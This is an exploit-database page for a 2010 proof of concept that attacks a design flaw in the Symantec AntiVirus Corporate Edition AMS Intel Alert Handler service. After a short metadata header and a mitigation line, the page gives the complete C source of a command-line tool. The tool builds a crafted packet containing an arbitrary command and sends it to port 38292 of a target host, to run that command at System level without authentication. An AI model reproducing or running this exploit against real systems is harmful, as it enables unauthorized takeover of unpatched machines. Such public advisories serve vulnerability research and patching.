header-logo
Suggest Exploit
vendor:
Symantec SAVCE
by:
Spider
7.5
CVSS
HIGH
Remote command execution at System level without authentication
CWE
Product Name: Symantec SAVCE
Affected Version From: Symantec SAVCE 10.1.8 and earlier
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows
2010

Symantec AMS Intel Alert Handler service Design Flaw

POC code to execute commands on system vulnerable to AMS2 design flaw of Intel Alert Handler service (hndlrsvc.exe) within Symantec SAVCE 10.1.8 and earlier

Mitigation:

Upgrade to a patched version of Symantec SAVCE
Source

Exploit-DB raw data:

// Remote command execution at System level without authentication
// Advisory:https://www.foofus.net/?page_id=149
// Exploit Title: Symantec AMS Intel Alert Handler service Design Flaw
// Date: 07/28/10
// Author: Spider
// Software Link: http://www.foofus.net/~spider/code/ams-cmd.cpp.txt
// Tested on: Symantec SAVCE 10.1.8 and earlier with AMS installed 

// POC code to execute commands on system vulnerable to AMS2
// design flaw of Intel Alert Handler service (hndlrsvc.exe)
// within Symantec SAVCE 10.1.8 and earlier
// ***Created by Spider July 2009***
//--------------------Foofus.net-------------------------

#include <stdio.h>
#include <dos.h>
#include <string.h>
#include <winsock.h>
#include <windows.h>

unsigned char payload[1000];
unsigned char inject1[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
"\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe8\x03\x00\x00\x50\x52\x47\x58\x43\x4e\x46\x47\x10\x00\x00\x00"
"\x00\x00\x00\x00\x04\x41\x4c\x48\x44\x5c\x46\x00\x00\x01\x00\x00"
"\x00\x01\x00\x0e\x00\x52\x69\x73\x6b\x20\x52\x65\x70\x61\x69\x72"
"\x65\x64\x00\x25\x00\x53\x79\x6d\x61\x6e\x74\x65\x63\x20\x41\x6e"
"\x74\x69\x56\x69\x72\x75\x73\x20\x43\x6f\x72\x70\x6f\x72\x61\x74"
"\x65\x20\x45\x64\x69\x74\x69\x6f\x6e\x00\xf9\x1d\x13\x4a\x3f\x0c"
"\x00\x4c\x41\x42\x53\x59\x53\x54\x45\x4d\x2d\x31\x00\x08\x08\x0a"
"\x00\x52\x69\x73\x6b\x20\x4e\x61\x6d\x65\x00\x07\x00\x05\x00\x54"
"\x65\x73\x74\x00\x08\x0a\x00\x46\x69\x6c\x65\x20\x50\x61\x74\x68"
"\x00\x07\x00\x05\x00\x54\x65\x73\x74\x00\x08\x11\x00\x52\x65\x71"
"\x75\x65\x73\x74\x65\x64\x20\x41\x63\x74\x69\x6f\x6e\x00\x07\x00"
"\x05\x00\x54\x65\x73\x74\x00\x08\x0e\x00\x41\x63\x74\x75\x61\x6c"
"\x20\x41\x63\x74\x69\x6f\x6e\x00\x07\x00\x05\x00\x54\x65\x73\x74"
"\x00\x08\x07\x00\x4c\x6f\x67\x67\x65\x72\x00\x07\x00\x05\x00\x54"
"\x65\x73\x74\x00\x08\x05\x00\x55\x73\x65\x72\x00\x07\x00\x05\x00"
"\x54\x65\x73\x74\x00\x08\x09\x00\x48\x6f\x73\x74\x6e\x61\x6d\x65"
"\x00\x0e\x00\x0c\x00\x4c\x41\x42\x53\x59\x53\x54\x45\x4d\x2d\x31"
"\x00\x08\x13\x00\x43\x6f\x72\x72\x65\x63\x74\x69\x76\x65\x20\x41"
"\x63\x74\x69\x6f\x6e\x73\x00\x07\x00\x05\x00\x54\x65\x73\x74\x00"
"\x00\x07\x08\x12\x00\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69"
"\x6f\x6e\x4e\x61\x6d\x65\x00\x22\x00\x20";

unsigned char cmdother[] =
"\x00\x08\x0c\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x4c\x69\x6e\x65";

unsigned char inject2[] =
"\x00\x08\x08\x00\x52\x75\x6e\x41\x72\x67\x73\x00\x04\x00\x02\x00"
"\x20\x00\x03\x05\x00\x4d\x6f\x64\x65\x00\x04\x00\x02\x00\x00\x00"
"\x0a\x0d\x00\x46\x6f\x72\x6d\x61\x74\x53\x74\x72\x69\x6e\x67\x00"
"\x02\x00\x00\x00\x08\x12\x00\x43\x6f\x6e\x66\x69\x67\x75\x72\x61"
"\x74\x69\x6f\x6e\x4e\x61\x6d\x65\x00\x02\x00\x00\x00\x08\x0c\x00"
"\x48\x61\x6e\x64\x6c\x65\x72\x48\x6f\x73\x74\x00\x0b\x00\x09\x00"
"\x44\x45\x41\x44\x42\x45\x45\x46\x00\x00\x00\x00\x00";

void banner (char *proga)
	{
	system("cls");
	printf("\nUse: %s <ip>  <command>\n", proga);
	}

int main ( int argc, char *argv[] )
{
SOCKET sock;
WSADATA wsa;
struct sockaddr_in addr;

printf("    __        ___      __   __                __    \n");
printf(" | /  \\ |    /  _/___ |__| _\\ |___  _ __   | /  \\ | \n");
printf("\\_\\\\  //_/   \\_  \\ . \\|  |/ . / ._\\| `_/  \\_\\\\  //_/\n");
printf(" .'/()\\'.    /___/  _/|__|\\___\\___\\|_|     .'/()\\'. \n");
printf(" \\ \\  / /        |_\\                       \\ \\  / / \n");
printf("              AMS Remote Command Tool\n");

	int port;
	if ( argc < 3 ) 
		{ 
			banner(argv[0]);
			exit(0); 
		}

char *ip_addr = argv[1];
int length = (int)strlen(argv[2]);

if (length > 128)
		{
		    printf("\n WARNING WARNING WARNING %s \n");
		    printf("\n Input Command String Greater than 128 Characters is not Permited %s \n");
		    exit (0);
		}

// building injection packet  

	inject1[353] = length+3;
	inject1[355] = length+1;
	memcpy(payload,inject1,356);

	int a = 356;
 	for (int i = 0; i<(length); i++)
	  	{
    			a=a+1;payload[a] = argv[2][i];    
          	}

	int b = a;
	for (int i = 0; i<=14; i++)
  		{
    	 		b=b+1;payload[b] = cmdother[i];    
		}

	int c = b;
	payload[c+2] = length+3;
	payload[c+4] = length+1;

	int d = c+5;
	for (int i = 0; i<length; i++)
  		{
    			d=d+1;payload[d] = argv[2][i];    
          	}

	int e = d;
	for (int i = 0; i<=109; i++)
  		{
    	 		e=e+1;payload[e] = inject2[i];    
		}

// setting up socket and sending packet

	printf("[] preparing....\n");

 		WSAStartup(MAKEWORD(2,0), &wsa);
		sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
		addr.sin_family = AF_INET;
		addr.sin_port = htons(38292);
		addr.sin_addr.s_addr = inet_addr(ip_addr);

	printf("[] connecting..\n");
		if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1 )
			{ printf("[-] connection failed!\n"); exit(0); }

	printf("[] sending crafted packet 1 ...\n");
		if ( send(sock, payload, sizeof(payload), 0) == -1 )
			{ printf("[-] send failed!\n"); exit(0); }

closesocket(sock);
WSACleanup();

return 0;

}